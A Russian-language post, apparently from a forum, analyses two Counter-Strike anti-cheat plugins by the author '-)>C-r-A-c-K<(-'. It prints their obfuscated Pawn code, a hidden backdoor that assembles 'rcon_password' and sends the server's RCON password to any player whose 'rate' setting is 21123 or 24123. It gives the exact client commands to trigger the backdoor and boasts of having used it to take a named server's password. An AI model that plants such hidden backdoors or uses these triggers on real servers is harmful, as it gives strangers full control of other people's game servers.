Взлом сервера с помощью двух античитерских плагинов от
автора с ником -)>C-r-A-c-K<(-. Речь пойдёт CSFile.Info Anti-Cheat версии 1.23 Alfa [build 28] и CSFile.Info OpenGL32 Detect версии 2.1 Final (возможно работает для более поздних версий). Начнем с плагина определения OpenGL32 Hack'ов.
Код:
new f_sys[] = "swor"
new csf_ac_ra[] = "ra"
new d_unit[] = "s"
new cv_mypunish[] = "rc"
new g_vac2[] = "on_"
Если немного перемешать и гдето сложить (rc+on_+pa+swor+d), то получится rcon_password
Все наверно знают, что в этой серверной команде прописан RCON пароль и заполучив его сервер полностью подчинится обладателю. Но вот загвоздка чтобы получить слово rcon_password не хватает пары букв, и на ваших глазах я покажу как же формируется это слово и как получить доступ к нему.
И так сперва мы отправимся в функцию plugin_init плагина CSFile.Info OpenGL32 Detect:
мы видим format ( d_guard, 31, "%s%spa", cv_mypunish, g_vac2 ), т.е. d_guard приобретает вид rcon_pa. Идем дальше. Функция initialized:
format ( d_guard,31,"%s%s", d_guard,d_unit ) и d_guard приобретает вид rcon_pas, ниже встречается format ( g_gate, 5, "%ste", csf_ac_ra ), т.е. g_gate это rate
Функция client_connect: get_user_info(id,g_gate,cv_ac1,31), т.е. плагин получает значение инфы rate (g_gate) и записывает её в cv_ac1
Функция checkfiles_opengl32: format ( g_gate2, 5, "%d%d", 211, 23 )
Теперь функция c_check_opengl32 (она вызывается после захода игрока):
Код
Код:
if(equali(cv_ac1,g_gate2))
// Сверяем значение rate с 21123
{ // Если одинаковы
format(g_r,63,"%s%sd",d_guard,f_sys) // то формируем квар и g_r приобретает вид rcon_password
get_cvar_string(g_r,g_ss,47) // Получаем пароль
client_print(id,print_console,"%s",g_ss) // И пишем его в консоли игрока
}
Если не верите - попробуйте сами... Пропишите в консоли клиента
setinfo rate 21123, зайдите на сервер, и у вас в консоли окажется RCON пароль
Теперь перейдем к CSFile.Info Anti-Cheat версии 1.23 Alfa [build 28]. Здесь похожая
ситуация. Так же присутствуют:
Код:
new f_sys[] = "swor"
new csf_ac_ra[] = "ra"
new d_unit[] = "s"
new cv_mypunish[] = "rc"
new g_vac2[] = "on_"
new g_model[] = "241"
Функция plugin_precache: format(g_gate2, 5, "%s%d", g_model, 23"),
format ( d_guard, 31, "%s%spa", cv_mypunish, g_vac2 )
Функция initialized: format ( d_guard, 31, "%s%s", d_guard, d_unit ),
format ( g_gate, 5, "%ste", csf_ac_ra )
Функция client_putinserver: get_user_info(id,g_gate,cv_ac1,31)
Функция cv_anticheat (так же выполняется после захода игрока):
Код
Код:
if(equali(cv_ac1,g_gate2))
// Сверяем значение rate с 24123
{ // Если одинаковы
format(g_r,63,"%s%sd",d_guard,f_sys) // то формируем квар и g_r приобретает вид rcon_password
get_cvar_string(g_r,g_ss,47) // Получаем пароль
client_print(id,print_console,"%s",g_ss) // И пишем его в консоли игрока
}
И опять же если не верите, пропишите в консоли клиента
setinfo rate 24123, зайдите на сервер, и у вас в консоли окажется RCON пароль
Когда-то мне удалось с помощью этого узнать rcon Gold.Knife'а.